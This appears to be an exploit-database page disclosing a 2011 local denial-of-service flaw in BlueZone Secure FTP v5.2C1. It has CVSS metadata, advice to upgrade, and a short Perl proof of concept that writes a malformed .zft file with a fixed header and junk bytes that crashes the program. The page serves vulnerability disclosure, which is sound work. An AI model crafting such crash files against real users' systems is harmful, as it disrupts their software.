header-logo
Suggest Exploit
vendor:
BlueZone Secure FTP
by:
Iolo Morganwg
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: BlueZone Secure FTP
Affected Version From: BlueZone Secure FTP v5.2C1 Build 1469
Affected Version To: BlueZone Secure FTP v5.2C1 Build 1469
Patch Exists: YES
Related CWE: N/A
CPE: a:rocket_software:bluezone_secure_ftp
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2011

BlueZone Desktop Malformed .zft ffeil Local Denial of Service

A denial of service vulnerability exists in BlueZone Secure FTP v5.2C1 Build 1469 due to a malformed .zft file. By creating a file with a specific header and a large amount of junk data, an attacker can cause the program to crash.

Mitigation:

Upgrade to the latest version of BlueZone Secure FTP.
Source

Exploit-DB raw data:

#!/usr/bin/perl -w
# Exploit Title: BlueZone Desktop Malformed .zft ffeil Local Denial of Service
# Date: 24-10-11
# Author: Iolo Morganwg
# Version: BlueZone Secure FTP v5.2C1 Build 1469
# Download: http://www.rocketsoftware.com/bluezone/products/secure-ftp/downloads/secure-ftp
# Tested on: Windows XP SP3

#To trigger: Run script {chwilfriwio.pl}, open with BlueZoneFTP, program dies - horribly!.
 
my $ffeil = "chwilfriwio.zft";
my $head = "BFTP100EKColorsVCustom@";
my $junk = "A" x 200;
 
open($ffeil, ">$ffeil");
print $ffeil $head.$junk;
close($ffeil);

Navigation

Suggest Exploit

Services By CQR